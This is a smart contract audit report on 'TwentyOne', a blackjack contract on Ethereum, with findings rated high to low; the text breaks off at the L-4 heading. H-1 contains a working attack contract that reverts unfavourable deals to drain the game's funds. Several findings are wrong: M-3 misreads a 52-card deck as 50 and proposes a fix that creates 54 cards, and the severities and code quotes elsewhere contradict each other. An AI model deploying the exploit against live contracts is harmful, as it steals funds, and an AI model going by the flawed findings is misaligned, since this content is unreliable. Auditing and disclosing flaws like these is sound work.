First Flight N29 TwentyOne

Prepared by: 0xKoiner

First Flight N29 TwentyOne

Prepared by: 0xKoiner Lead Auditors: 0xKoiner

- [0xKoiner] (#https://twitter.com/0xKoiner)

Assisting Auditors:

- None

Table of contents

▶ Details
See table

About 0xKoiner

Hi, I'm OxKoiner, a developer and smart contract auditor based in sunny Barcelona. My journey in the crypto industry started back in 2016, and it's been an exciting ride ever since. With a background in Computer Science from the Technion (Israel Institute of Technology), I've built up a versatile skill set that spans Python development and smart contract security.

My Experience Python Development I have a solid background in Python, focusing on backend development, software automation, testing, and Web3 libraries. I enjoy building tools and solutions that help simplify complex problems, and I'm always looking for new ways to streamline workflows and processes.

Solidity & Smart Contract Development I'm a junior Solidity developer with a growing passion for low-level aspects of Ethereum development, including OpCodes, Huff, and Assembly. I love diving into the details of smart contract design, aiming to write clean, efficient, and secure code. I'm still learning every day, but I enjoy the challenge of constantly improving.

Auditing & Security I've completed several courses focused on smart contract audits and enjoy the process of analyzing code for potential vulnerabilities. My toolkit includes:

Foundry & HardHat: For testing and development. Slither & Aderyn: For static analysis and finding common issues. Certora: For formal verification to ensure contract safety. I take a careful, methodical approach when auditing, trying to catch even the smallest issues that could become big problems. I believe every audit is a chance to learn and help make the Web3 space a bit safer.

My Approach I'm motivated by a genuine interest in blockchain technology and its potential to bring about positive change. I'm not an expert in everything, but I'm always eager to learn and collaborate with others. If you're working on an interesting project or need a fresh set of eyes for an audit, I'd love to connect and see how I can help.

Let's build something great together!

Disclaimer

The OxKoiner team has made every effort to identify potential vulnerabilities within the time allocated for this audit. However, we do not assume responsibility for the findings or any issues that may arise after the audit. This security audit is not an endorsement of the project's business model, product, or team. The audit was time-limited and focused exclusively on assessing the security of the Solidity code implementation. It is strongly recommended that additional testing and security measures be conducted by the project team.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Scope

```
All Contracts in `src` are in scope.

src/
└── TwentyOne.sol
```

Protocol Summary

The "TwentyOne" protocol is a smart contract implementation of the classic blackjack card game, where users can wager 1 ETH to participate with a chance to double their money!

Roles

- Player: The user who interacts with the contract to start and play a game. A player must deposit 1 ETH to play, with a maximum payout of 2 ETH upon winning.
- Dealer: The virtual counterpart managed by the smart contract. The dealer draws cards based on game logic.

Executive Summary

Issues found

Severity	Number of issues found
High	2
Medium	3
Low	4
Total	9

Findings

High

[H-1] Manipulation of startGame() Return Value in TwentyOne.sol

_Submitted by 0xKoiner

Summary

The `startGame()` function in the `TwentyOne.sol` contract returns the player’s initial hand value as a `uint256`. This allows attackers to manipulate gameplay by reverting unfavorable transactions, ensuring they proceed only with advantageous hands. By using a custom attack contract, an attacker can drain the contract's funds with minimal loss.

Vulnerability Details

Root Cause

The vulnerability lies in the `startGame()` function, which exposes sensitive game state information (the player's initial hand value) as its return value. This design flaw enables attackers to evaluate the returned value and selectively revert transactions for unfavorable outcomes.

Exploitation Process

1. **Initialization:**
   The attacker deploys and funds a malicious contract, `AttackTwentyOne.sol`, which interacts with the `TwentyOne.sol` contract.
2. **Selective Execution:**
   The attack contract calls `startGame()`, checks the returned hand value (`playerHand`), and reverts if the value is below a predefined threshold (e.g., 20).
3. **Guaranteed Advantage:**
   Transactions only proceed if the attacker’s hand value is sufficiently high, ensuring a disproportionately high winning probability.
4. **Drain Contract:**
   The attacker continues exploiting until the target contract’s balance is depleted.

Vulnerable Code

The issue is in the `startGame()` function of `TwentyOne.sol`:

```
function startGame() public payable returns (uint256) {
    require(
        address(this).balance >= 2 ether,
        "Not enough ether on contract to start game"
    );
    address player = msg.sender;
    require(msg.value == 1 ether, "start game only with 1 ether");

    initializeDeck(player);

    uint256 card1 = drawCard(player);
    uint256 card2 = drawCard(player);
    addCardForPlayer(player, card1);
    addCardForPlayer(player, card2);
    return playersHand(player); // Exposes game state
}
```

Impact

Exploitation Results

1. **Win Rate:** The attack enables the attacker to win with an artificially high probability.
2. **Drain Speed:** The contract balance can be drained in approximately **1,500–2,000 calls**, depending on the balance and win conditions.
3. **Gas Costs:** The attack incurs approximately **1,339,241 gas units** per reverted transaction, which is minimal compared to the contract's drained value.

Tools Used

1. **Solidity Programming:** To analyze and manipulate the contract logic.
2. **Foundry Framework:** For contract deployment, testing, and debugging.
3. **Python Script:** To automate repeated calls for exploiting the vulnerability.

POC

Attack Contract (`AttackTwentyOne.sol`)

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract AttackTwentyOne {
    error AttackTwentyOne__FailedCallStartGame();
    error AttackTwentyOne__FailedCallToCall();
    error AttackTwentyOne__RevertLessThen20(uint256 playerHand);

    uint256 private s_playerHand;
    uint256 private constant MAX_PLAYER_HAND = 20;
    address private immutable i_owner;
    address payable immutable i_twentyOneContract;

    constructor(address _twentyOneContract, address _owner) {
        i_twentyOneContract = payable(_twentyOneContract);
        i_owner = _owner;
    }

    receive() external payable {}

    function callTostartGameAndCall() external {
        (bool success, bytes memory data) = i_twentyOneContract.call{
            value: 1 ether
        }(abi.encodeWithSignature("startGame()"));

        if (!success) {
            revert AttackTwentyOne__FailedCallStartGame();
        }

        s_playerHand = abi.decode(data, (uint256));

        if (s_playerHand < MAX_PLAYER_HAND) {
            revert AttackTwentyOne__RevertLessThen20(s_playerHand);
        }
        (bool success2, ) = i_twentyOneContract.call(
            abi.encodeWithSignature("call()")
        );
        if (!success2) {
            revert AttackTwentyOne__FailedCallToCall();
        }
    }

    function withdrawAll() external {
        require(msg.sender == i_owner, "Not Owner");
        payable(i_owner).transfer(address(this).balance);
    }
}
```

Testing Process

1. **Deployment:**
   - `TwentyOne.sol` deployed with an initial balance of 20 ETH.
   - `AttackTwentyOne.sol` deployed with an additional 2 ETH for gas and gameplay funding.
2. **Execution:**
   - Repeatedly called `callTostartGameAndCall()` using the attack contract.
   - Observed selective transaction reverts for unfavorable outcomes.
   - Contract balance depleted after ~1,800 calls.

Recommendations

Proposed Fix

The `startGame()` function should not return the player's initial hand value, preventing attackers from accessing game state information during the initialization phase.

Fixed Code:

```
function startGame() public payable {
    require(
        address(this).balance >= 2 ether,
        "Not enough ether on contract to start game"
    );
    address player = msg.sender;
    require(msg.value == 1 ether, "start game only with 1 ether");

    initializeDeck(player);

    uint256 card1 = drawCard(player);
    uint256 card2 = drawCard(player);
    addCardForPlayer(player, card1);
```

```
        addCardForPlayer(player, card2);
    }
```

Impact of Fix

Removing the return value eliminates the ability to selectively revert transactions based on the initial hand, closing the exploit vector.

Conclusion

This report demonstrates a critical vulnerability in `TwentyOne.sol` that enables an attacker to manipulate gameplay and drain the contract’s balance. The proposed fix mitigates this issue by removing sensitive game state exposure during the `startGame()` phase. Immediate action is recommended to deploy the fix and secure funds in the contract.

[H-2] Improper Handling of Ace Cards

_Submitted by 0xKoiner

Summary

In the `TwentyOne.sol` Blackjack smart contract, the handling of Ace cards (which can be worth either 1 or 11 points) is not properly implemented in both the player's and the dealer's hand calculations. This issue leads to incorrect game logic, potentially resulting in faulty game outcomes. The logic for the dealer's hand also lacked proper handling for the Ace, which may cause inconsistent game results.

Vulnerability Details

The vulnerability lies in the improper handling of Ace cards, a crucial aspect of Blackjack game rules. In the original code:

- **For the player’s hand (`playersHand` function):** Aces are treated as 10, which is incorrect. Aces should be treated as 1 initially, and if the total hand value allows, an Ace should be counted as 11.
- **For the dealer’s hand (`dealersHand` function):** Aces are not properly accounted for in the hand's total value, and the dealer’s hand calculation logic is inconsistent with the player’s hand calculation.

The issue can cause incorrect total calculations for both the player and the dealer, affecting the outcome of the game. A player might think they have a valid total, but the game may incorrectly register their hand, leading to undesired consequences.

Code Fragment from the Original Implementation:

Player's Hand Logic:

```
        if (cardValue == 0 || cardValue >= 10) {
            playerTotal += 10;
```

```
    }
```

Dealer's Hand Logic:

```
    if (cardValue >= 10) {
        dealerTotal += 10;
    }
```

Problems:

1. **Player's hand:** Aces are treated as 10, which can mislead the player into thinking their hand is better or worse than it really is.
2. **Dealer's hand:** Aces are not handled at all. The dealer’s total could be incorrectly calculated, which could affect the final outcome of the game.

Impact

- **Incorrect Card Values:** Aces are treated incorrectly, potentially causing incorrect totals for both the player and the dealer.
- **Faulty Game Outcomes:** The mismatch in hand totals can lead to an unfair game where either the player or the dealer might win or lose incorrectly.
- **Player Experience:** The player might receive incorrect feedback (such as winning or losing), as their hand total is not calculated correctly.
- **Smart Contract Integrity:** If not addressed, this flaw could undermine the trust in the smart contract, leading to disputes or manipulation of the game logic.

Tools Used

- **Manual Code Review:** The code was manually reviewed for logical errors related to the handling of card values, especially Aces.

Recommendations

The issue can be resolved by fixing the Ace-handling logic in both the `playersHand` and `dealersHand` functions. This will ensure that Aces are treated as either 1 or 11 depending on the context, thus adhering to the correct rules of Blackjack.

Code Fix for `playersHand`:

```
function playersHand(address player) public view returns (uint256) {
    uint256 playerTotal = 0;
    uint256 acesCount = 0; // To track how many aces are present

    for (uint256 i = 0; i < playersDeck[player].playersCards.length; i++)
{
        uint256 cardValue = playersDeck[player].playersCards[i] % 13;

        if (cardValue == 0) {
            playerTotal += 1; // Treat Ace as 1 initially
            acesCount++; // Count the Ace
        } else if (cardValue >= 10) {
            playerTotal += 10; // Face cards (Jack, Queen, King) count as
10
        } else {
            playerTotal += cardValue; // Other cards are their face value
        }
    }

    // If there are Aces, and the total is 11 or less, add 10 to the total
(Ace as 11)
    if (acesCount > 0 && playerTotal <= 11) {
        playerTotal += 10;
    }

    return playerTotal;
}
```

Code Fix for `dealersHand`:

```
function dealersHand(address player) public view returns (uint256) {
    uint256 dealerTotal = 0;
    uint256 acesCount = 0; // To track how many aces are present

    for (uint256 i = 0; i < dealersDeck[player].dealersCards.length; i++)
{
        uint256 cardValue = dealersDeck[player].dealersCards[i] % 13;

        if (cardValue == 0) {
            dealerTotal += 1; // Treat Ace as 1 initially
            acesCount++; // Count the Ace
        } else if (cardValue >= 10) {
            dealerTotal += 10; // Face cards (Jack, Queen, King) count as
10
        } else {
            dealerTotal += cardValue; // Other cards are their face value
        }
    }

    // If there are Aces, and the total is 11 or less, add 10 to the total
(Ace as 11)
    if (acesCount > 0 && dealerTotal <= 11) {
        dealerTotal += 10;
    }
```

```
        return dealerTotal;
    }
```

Medium

[M-1]. Contract Lacks Mechanism to Initialize or Deposit Ether

_Submitted by 0xKoiner

Summary

The `TwentyOne` contract lacks a mechanism to initialize with Ether or allow subsequent deposits. As a result, the contract starts with a zero balance upon deployment, which creates a critical issue for gameplay: when a user deposits 1 Ether to start a game, and if they win, the contract cannot pay out the promised 2 Ether due to insufficient funds.

To address this, the following solutions are proposed:

1. Introduce a `payable` constructor to allow the deployer to fund the contract at the time of deployment.
2. Add a `receive()` function to enable the contract to accept Ether deposits from other wallets during its lifecycle.

This is categorized as **High Severity**, as it prevents the core functionality of the game.

Vulnerability Details

1. **Root Cause**

    - The contract is deployed with a zero balance because it does not provide a mechanism for the deployer or any external wallet to deposit Ether.
    - The `startGame` function requires the user to deposit 1 Ether, but the contract must already have sufficient funds to cover a potential payout of 2 Ether if the user wins.
    - Without an initial balance or the ability to deposit additional funds, the contract is unable to fulfill its payout obligations.

2. **Affected Code**
   The contract lacks both a `payable` constructor and a `receive()` function:

```
constructor() { // No way to initialize the contract with Ether }
```

1. **Behavior**

    - **Deployment Issue:** The contract is deployed with a balance of zero Ether.
    - **Gameplay Disruption:** Users deposit 1 Ether to play the game but cannot receive the promised payout of 2 Ether due to the contract's insufficient balance.
    - **Lack of Flexibility:** The deployer cannot top up the contract balance post-deployment, further exacerbating the problem.

Impact

This vulnerability blocks the functionality of the `TwentyOne` contract and compromises the user experience. Without sufficient Ether in the contract:

- Users cannot play the game or receive payouts, leading to a failed contract.
- The deployer has no mechanism to address the issue by adding funds.

Tools Used

- **Static Code Analysis:** Identified the absence of mechanisms to initialize or deposit Ether.
- **Deployment Testing:** Verified that the contract is deployed with zero Ether.
- **Simulation:** Tested game payouts with insufficient contract balance.

Recommendations

Solution 1: Add a `Payable` Constructor

Modify the contract to include a `payable` constructor. This allows the deployer to provide an initial balance during deployment. Example:

```
constructor() payable { // Optionally handle the initial balance }
```

Solution 2: Add a `receive()` Function

Include a `receive()` function to allow the contract to accept Ether deposits at any time:

```
receive() external payable { // Optionally log deposits or perform actions
}
```

Revised Contract

Below is the updated contract with the proposed changes:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract TwentyOne {
    // ... (existing code)

    // Payable constructor for initial funding
    constructor() payable {}

    // Receive function to accept deposits
    receive() external payable {
        // Optional: Emit event for received funds
    }
    // ... (existing code)
}
```

Testing and Validation

1. **Deployment:** Deploy the updated contract using the following command to provide an initial balance:

```
forge create --value 10ether path/to/TwentyOne.sol:TwentyOne --private-key
<deployer_private_key>
```

2. **Ether Transfer:** Use a wallet or script to send Ether to the contract and confirm it is accepted:

```
(bool success, ) = payable(address(twentyOne)).call{value: 5 ether}("");
require(success, "Ether transfer failed");
```

3. **Payout Testing:** Verify that the game can handle payouts after deployment with sufficient initial balance.

[M-2] Contract Lacks Sufficient Ether to Handle Game Logic and Payouts

_Submitted by 0xKoiner

Summary

The contract fails to process player winnings due to insufficient funds in the contract when the player wins. The test `test_Call_PlayerWins()` fails because the contract is deployed without enough ether to process the payout. The error occurs when the contract attempts to transfer 2 ether to the winning player but lacks the necessary balance.

Vulnerability details

When running the test `test_Call_PlayerWins()`, the following error occurs:

```
[FAIL: EvmError: Revert] test_Call_PlayerWins() (gas: 1450168)
Logs:
  player1:  0x0000000000000000000000000000000000000123
  twentyOne balance:  0
  contract balance:  1000000000000000000
  initialPlayerBalance:  9000000000000000000

Traces:
  [705494] TwentyOneTest::setUp()
    ├─ [659863] → new TwentyOne@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   └─ ← [Return] 3296 bytes of code
    ├─ [0] VM::deal(0x0000000000000000000000000000000000000123,
10000000000000000000 [1e19])
    │   └─ ← [Return]
    ├─ [0] VM::deal(0x0000000000000000000000000000000000000456,
10000000000000000000 [1e19])
    │   └─ ← [Return]
    └─ ← [Stop]

  [1450168] TwentyOneTest::test_Call_PlayerWins()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000000123)
    │   └─ ← [Return]
    ├─ [0] console::log("player1: ",
0x0000000000000000000000000000000000000123) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] console::log("twentyOne balance: ", 0) [staticcall]
    │   └─ ← [Stop]
    ├─ [346] TwentyOne::startGame{value: 1000000000000000000}()
    │   └─ ← [Revert] revert: Not enough ether on contract to start game
    └─ ← [Revert] revert: Not enough ether on contract to start game
```

The contract balance is shown as 0 when it attempts to start the game. The following line of code in the `startGame()`function causes the revert when trying to transfer 2 ether to the winner:

```
payable(player).transfer(2 ether); // Transfer the prize to the player
```

Error Output:

```
[FAIL: EvmError: Revert] test_Call_PlayerWins() (gas: 1450168)
Logs:
  twentyOne balance:  0
  contract balance:  1000000000000000000 [1 ether]
  initialPlayerBalance:  9000000000000000000 [9 ether]

Traces:
  [1450168] TwentyOneTest::test_Call_PlayerWins()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000000123)
    │   └─ ← [Return]
    ├─ [0] console::log("twentyOne balance: ", 0) [staticcall]
    │   └─ ← [Stop]
    ├─ [346] TwentyOne::startGame{value: 1000000000000000000}()
    │   └─ ← [Revert] revert: Not enough ether on contract to start game
    └─ ← [Revert] revert: Not enough ether on contract to start game
```

The revert happens because there is not enough ether in the contract to cover the payout of 2 ether.

Impact

- **Loss of Player's Deposit:** Since the contract has insufficient funds to cover the payout of 2 ether, the player may lose their 1 ether deposit if the game cannot proceed as expected.

- **Unreliable Game Logic:** The game logic will fail if the contract does not have enough ether to continue the game, leading to inconsistent behavior.
- **Failed Transactions:** The contract cannot process winnings, which makes the entire contract unusable for players who expect to receive a payout upon winning.

To summarize, players may lose their 1 ether deposit without being able to play or receive winnings due to the contract balance being insufficient. This issue leads to a poor user experience and a loss of trust in the contract's ability to function correctly.

Tools Used

- **Forge (Foundry):** Used to compile and run the tests.
- **Solidity:** The smart contract is written in Solidity, which is responsible for handling the game's logic and ether transfers.
- **EVM Error Logs:** The error log output generated by Forge during test execution, showing the failed transaction and revert reason.

Recommended mitigation

1. **Deploy Contract with Sufficient Ether:** Ensure that the contract is deployed with an initial balance of at least 2 ether to cover the player payout when the game starts. You can require this in the constructor:

```
constructor() payable {
    require(msg.value >= 1 ether, "Contract must be deployed with at least 1 ether");
}
```

2. **Add `receive()` Function:** Allow the contract to accept ether deposits after deployment. This can be done by adding a `receive()` function to ensure the contract can accept ether and maintain a sufficient balance:

```
receive() external payable {}
```

3. **Balance Check in `startGame()`:** Implement a check in the `startGame()` function to ensure that the contract has enough ether to process the winnings. This will prevent the game from starting unless there is at least 2 ether in the contract:

```
function startGame() public payable returns (uint256) {
    require(address(this).balance >= 2 ether, "Not enough ether on contract to start game");
    // Continue game logic...
}
```

4. **Test Contract Behavior:** Ensure thorough testing of the contract under different conditions, including cases where ether is deposited after deployment, to verify that the game can proceed and payouts are correctly handled.

[M-3] Incorrect Card Deck Initialization in initializeDeck Function

_Submitted by 0xKoiner

Summary

The `initializeDeck(address player)` function is intended to initialize a deck of 52 cards for the player, as required by the rules of the game. However, due to an off-by-one error in the loop, the deck is initialized with only 50 cards instead of 52. This deviation from the standard 52-card deck compromises the integrity of the game logic and fairness. The issue arises from starting the loop at `i = 1` and iterating up to `i <= 52`.

Vulnerability Details

The `initializeDeck` function is defined as follows:

```
function initializeDeck(address player) internal {
    require(
        availableCards[player].length == 0,
        "Player's deck is already initialized"
    );
    for (uint256 i = 1; i <= 52; i++) {
        availableCards[player].push(i);
    }
}
```

This logic should populate the `availableCards` array with integers from 1 to 52, representing a standard deck of cards. However, the actual array length ends up being only 50 cards due to a miscalculation in the loop. As a result, the game operates with an incomplete deck, potentially leading to unexpected behaviors during gameplay.

Observed Behavior

A test case was written to examine the initialized deck:

```
function testUserLossingWithHitFunction() public {
    vm.startPrank(player1);
    uint256 twoCards = twentyOne.startGame{value: 1 ether}();
    console.log("twoCards: ", twoCards);
    vm.stopPrank();
    uint256[] memory availablerCards =
twentyOne.getAvailableCards(player1);
    console.log("availablerCards l: ", availablerCards.length);
}
```

Output:

```
Logs:
  twoCards:  14
  availablerCards l:  50
```

The deck's length is 50 instead of the expected 52 cards, confirming the issue in `initializeDeck`.

Root Cause Analysis

The problem lies in the `for` loop:

```
for (uint256 i = 1; i <= 52; i++) {
    availableCards[player].push(i);
}
```

The deck is initialized starting at `i = 1`, which is correct. However, due to an off-by-one error in iterating to `i <= 52`, only 50 cards are added instead of 52.

Impact

1. **Incomplete Deck:**
   - The game operates with an incomplete deck of 50 cards instead of the standard 52-card deck.
   - This deviation can lead to unexpected outcomes in gameplay, such as fewer card combinations available for players and the dealer.
2. **Game Integrity Compromised:**
   - The issue undermines the fairness and consistency of the game, violating the standard rules of twenty-one.
3. **Potential for Exploitation:**
   - Savvy players might exploit the smaller deck size to calculate probabilities more effectively, gaining an unfair advantage.

Tools Used

- **Forge (Foundry):** Used for deploying and testing the contract.
- **EVM Logs and Console Output:** Verified the actual length of the initialized deck using debug logs.
- **Manual Code Review:** Identified the off-by-one error in the loop.

Recommendations

1. **Update the Loop in `initializeDeck`:** Replace the current loop in the `initializeDeck` function with the corrected version:

```
for (uint256 i = 1; i <= 54; i++) {
    availableCards[player].push(i);
}
```

2. **Test the Updated Logic:** Write additional test cases to confirm that the deck length is exactly 52 after initialization.

```
function testDeckInitializationCorrectness() public {
    twentyOne.initializeDeck(player1);
    uint256[] memory availablerCards =
twentyOne.getAvailableCards(player1);
    assertEq(availablerCards.length, 52, "Deck should contain 52 cards");
}
```

3. **Validate Gameplay Mechanics:** Verify other game functions, such as `hit()` or `stand()`, to ensure they correctly handle the updated deck.

4. **Comprehensive Audits:** Perform a full audit of game logic to identify and fix any other potential issues related to deck handling or game rules.

By addressing this issue, the game will align with the standard rules of twenty-one and provide a fair playing environment for all participants.

Low

[L-1] block.prevrandao Can Be Used Only From Solidity Version 0.8.18

_Submitted by 0xKoiner

Summary

The `block.prevrandao` property, introduced in Solidity 0.8.18, allows contracts to access the randomness value derived from the previous block in the Ethereum Proof-of-Stake consensus mechanism. This feature is unavailable in versions earlier than 0.8.18.

In the provided code from `TwentyOne.sol`, the pragma directive specifies `pragma solidity ^0.8.13;`. Since `^0.8.13`allows versions ranging from 0.8.13 to less than 0.9.0, it cannot utilize the `block.prevrandao` property. Using this code with versions less than 0.8.18 will result in compilation errors.

Vulnerability Details

1. **Root Cause**
The `block.prevrandao` property is not supported in Solidity versions earlier than 0.8.18. If the compiler version is set to a lower version, any attempt to access this property will result in a compilation error.

2. **Affected Code**
   The following pragma directive in `TwentyOne.sol` is insufficient to guarantee compatibility with `block.prevrandao`:

```
pragma solidity ^0.8.13;
```

Behavior

- In Solidity versions **prior to 0.8.18**, using `block.prevrandao` will throw a compilation error:

```
Error: Member "prevrandao" not found or not visible after argument-dependent lookup in struct Block.
```

- In Solidity **0.8.18 and above**, `block.prevrandao` functions as expected.

Error of compiler with 0.8.13

```
Error: Compiler run failed:
Error (9582): Member "prevrandao" not found or not visible after argument-dependent lookup in block.
  --> src/TwentyOne.sol:77:63:
   |
77 |                 abi.encodePacked(block.timestamp, msg.sender, block.prevrandao)
   |
^^^^^^^^^^^^^^^^
```

Impact

Using a Solidity version earlier than 0.8.18 with `block.prevrandao` will prevent the contract from compiling. This issue can result in:

- Delays in development or deployment.
- Misalignment with the intended Ethereum Proof-of-Stake mechanism.
- Potential developer oversight leading to functionality not working as expected.

Tools Used

- **Static Analysis:** Verified Solidity version in `TwentyOne.sol` with a code review.
- **Solidity Documentation:** Referred to the official Solidity documentation.
- **Testing Environment:** Foundry

Recommendations

1. **Update the Pragma Directive**
   Update the Solidity pragma directive in `TwentyOne.sol` to ensure compatibility

with `block.prevrandao`. Replace the following line:

```
- pragma solidity ^0.8.13;
```

```
+ pragma solidity ^0.8.18;
```

2. **Explicit Version Locking (Optional)**
   To avoid version conflicts in environments with multiple compiler versions, use an explicit version instead of a range:

```
+ pragma solidity 0.8.18;
```

3. **Backward Compatibility Considerations**
   If `block.prevrandao` is not strictly required, and you need backward compatibility with older versions, consider using alternative logic. Note that alternatives (e.g., `blockhash`) may not offer secure randomness and are not suitable in all contexts.

4. **Testing**
   Recompile and redeploy the contract using Solidity 0.8.18 or later. Confirm that the usage of `block.prevrandao`behaves as expected.

[L-2] CASINO Address Lacks Initial Balance for Ether Transfer

_Submitted by 0xKoiner

Summary

In the provided script `TwentyOne.s.sol`, the `CASINO` address attempts to transfer Ether to the `TwentyOne` contract during the execution of the `run` function. However, as observed in the logs, the `CASINO` address has no balance, leading to an **OutOfFunds** error during the Ether transfer. This issue can be resolved by pre-funding the `CASINO` and `USER` addresses with an initial Ether balance and adjusting the transfer logic.

The proposed solution includes:

1. Using `vm.deal` to allocate Ether to the `CASINO` and `USER` addresses.
2. Switching to a low-level `call` for robust Ether transfer logic.

Vulnerability Details

1. **Root Cause**
   The `CASINO` address, defined as `address(1)`, does not have any Ether balance assigned during the script setup. Consequently, when it attempts to fund the `TwentyOne` contract, the transaction fails due to insufficient funds.

2. **Affected Code**
   In the `run` function:

```
function run() public {
    vm.prank(CASINO);
    console.log("Casino Balance: ", CASINO.balance);
    payable(address(twentyOne)).transfer(10 ether);
    console.log("Funded contract with 10 ether.");
}
```

3. **Behavior**
   - Without initial funding, the `CASINO` address cannot transfer Ether, resulting in a **Revert** during execution.
   - The script fails to simulate the intended funding behavior, blocking further testing or deployment.

Impact

This issue prevents the simulation of Ether transfers to the `TwentyOne` contract, blocking development and testing workflows. The absence of initial funding for test accounts disrupts the intended functionality of the script.

Tools Used

- **Foundry Script Execution:** Verified the failure during the `forge script` run.
- **Console Logging:** Monitored the `CASINO.balance` to confirm the absence of Ether.
- **Low-Level Call Testing:** Confirmed alternative approaches for robust transfer logic.

Recommendations

Solution 1: Assign Initial Ether Balance

Use the `vm.deal` function in the `setUp` method to assign a starting balance to both the `CASINO` and `USER` addresses. This ensures the addresses have sufficient Ether for subsequent operations. Update the `setUp` function as follows:

```
uint256 STARTING_AMOUNT = 20 ether;

function setUp() public {
    // Deploy the TwentyOne contract
    twentyOne = new TwentyOne();
    console.log("TwentyOne contract deployed at:", address(twentyOne));
    vm.deal(CASINO, STARTING_AMOUNT);
    vm.deal(USER, STARTING_AMOUNT);
}
```

Solution 2: Use Low-Level Call for Ether Transfer

Replace the `transfer` statement with a low-level `call` for robust error handling. This ensures that if the transfer fails for any reason, the script can continue execution or gracefully handle the failure. Update the `run` function as follows:

```
function run() public {
    vm.prank(CASINO);
    console.log("Casino Balance: ", CASINO.balance);
    // Use low-level call for Ether transfer
    (bool success, ) = payable(address(twentyOne)).call{value: 10 ether}
("");
    if (!success) {
        console.log("Ether transfer to TwentyOne contract failed.");
        return;
    }
    console.log("Funded contract with 10 ether.");
}
```

Testing and Deployment

1. After implementing the above changes, run the script with `forge script` to confirm the absence of errors.
2. Ensure that the balances of `CASINO` and `USER` are sufficient before executing further test scenarios.
3. Use console logs to validate the Ether transfer.

[L-3] Excess Ether Sent by Player Causes Unfair Loss in Winnings

_Submitted by 0xKoiner

Summary

The contract allows players to send more than 1 ether to start the game, which violates the game's intended betting logic. Players are supposed to bet exactly 1 ether and win 2 ether if they succeed. However, if a player sends more than 1 ether, they only win the hardcoded 2 ether, losing the excess ether sent. This inconsistency is due to the lack of a strict check on `msg.value` in the `startGame()` function.

Vulnerability Details

The `startGame()` function does not enforce a condition that ensures the player sends exactly 1 ether. The function logic accepts any amount greater than or equal to 1 ether. This behavior is evident in the following code snippet:

```
function startGame() public payable returns (uint256) {
    address player = msg.sender;
    require(msg.value >= 1 ether, "not enough ether sent");
    initializeDeck(player);
    uint256 card1 = drawCard(player);
```

```
        uint256 card2 = drawCard(player);
        addCardForPlayer(player, card1);
        addCardForPlayer(player, card2);
        return playersHand(player);
    }
```

As a result, players can start the game with more than 1 ether, but the `endGame()` function is hardcoded to transfer only 2 ether as winnings. This leads to a situation where the player loses the excess amount they sent.

Test Case Output

The issue was replicated with the following test case:

```
    function testUserCanSendMoreThenOneEtherToPlayButWillWinOnly2Ether()
        public
    {
        uint256 userStartedBalance = player1.balance;
        uint256 contractStartedBalance = address(twentyOne).balance;

        vm.startPrank(player1);
        twentyOne.startGame{value: 3 ether}();
        uint256 userMidBalance = player1.balance;
        uint256 contractMidBalance = address(twentyOne).balance;
        twentyOne.call();
        vm.stopPrank();

        uint256 userEndedBalance = player1.balance;
        uint256 contractEndedBalance = address(twentyOne).balance;
        console.log("userStartedBalance: ", userStartedBalance);
        console.log("userMidBalance: ", userMidBalance);
        console.log("userEndedBalance: ", userEndedBalance);
        console.log("contractStartedBalance: ", contractStartedBalance);
        console.log("contractMidBalance: ", contractMidBalance);
        console.log("contractEndedBalance: ", contractEndedBalance);
        assertNotEq(userStartedBalance - userEndedBalance, 2e18);
        assertNotEq(contractEndedBalance - contractStartedBalance, 0e18);
    }
```

Output:

```
    Ran 1 test for test/TwentyOne.t.sol:TwentyOneTest
    [PASS] testUserCanSendMoreThenOneEtherToPlayButWillWinOnly2Ether() (gas:
    1160391)
    Logs:
      userStartedBalance:  10000000000000000000
      userMidBalance:  7000000000000000000
      userEndedBalance:  9000000000000000000
```

```
  contractStartedBalance:  100000000000000000000
  contractMidBalance:  130000000000000000000
  contractEndedBalance:  110000000000000000000
```

From the logs, we see:

- The user started with 10 ether and ended with 9 ether after winning, losing the excess 1 ether they sent to start the game.
- The contract balance shows the excess 1 ether added to it.

The issue stems from the `startGame()` function accepting `msg.value >= 1 ether` instead of enforcing `msg.value == 1 ether`.

Code Behavior

Relevant function snippets:

1. **`startGame()`**
    - Accepts any value greater than or equal to 1 ether.
    - Does not refund or enforce exact ether for starting the game.
2. **`endGame()`**
    - Transfers a hardcoded 2 ether as winnings regardless of the initial `msg.value`.

```
function endGame(address player, bool playerWon) internal {
    delete playersDeck[player].playersCards;
    delete dealersDeck[player].dealersCards;
    delete availableCards[player];
    if (playerWon) {
        payable(player).transfer(2 ether); // Transfer the prize to the player
        emit FeeWithdrawn(player, 2 ether); // Emit the prize withdrawal event
    }
}
```

Impact

1. **Financial Loss for Player:**
    - Players can lose any excess ether sent beyond 1 ether when starting the game.
    - In the test case, the player sent 3 ether and lost 1 ether even after winning the game.
2. **Inconsistent Game Logic:**
    - The betting logic contradicts the intended behavior of betting 1 ether and winning 2 ether.
3. **Unfair Advantage to Contract:**

- Excess ether sent by players is retained in the contract, leading to unintended financial gains for the contract.

Tools Used

- **Forge (Foundry):** Used to run and validate test cases.
- **EVM Error Logs:** Inspected transaction traces and logs to confirm unexpected ether retention.
- **Manual Code Review:** Identified the lack of `msg.value` validation in `startGame()`.

Recommendations

1. **Enforce Exact Betting Amount in `startGame()`:** Update the `startGame()` function to ensure players can only bet exactly 1 ether. This can be done as follows:

```
function startGame() public payable returns (uint256) {
    require(
        address(this).balance >= 2 ether,
        "Not enough ether on contract to start game"
    );
    require(msg.value == 1 ether, "start game only with 1 ether");

    address player = msg.sender;
    initializeDeck(player);
    uint256 card1 = drawCard(player);
    uint256 card2 = drawCard(player);
    addCardForPlayer(player, card1);
    addCardForPlayer(player, card2);
    return playersHand(player);
}
```

2. **Revert for Incorrect Ether Amounts:** Any transaction sending more or less than 1 ether should revert with an appropriate error message.
3. **Test New Logic:** Write additional test cases to confirm the contract reverts if `msg.value` is not exactly 1 ether.
4. **Documentation Update:** Clearly document the betting rules for players, emphasizing the requirement to send exactly 1 ether.

By implementing these changes, the game will maintain fairness and align with its intended logic, avoiding unintended ether loss for players.

[L-4] Potential Bias in Dealer Behavior Due to Stand Threshold Logic in call() Function

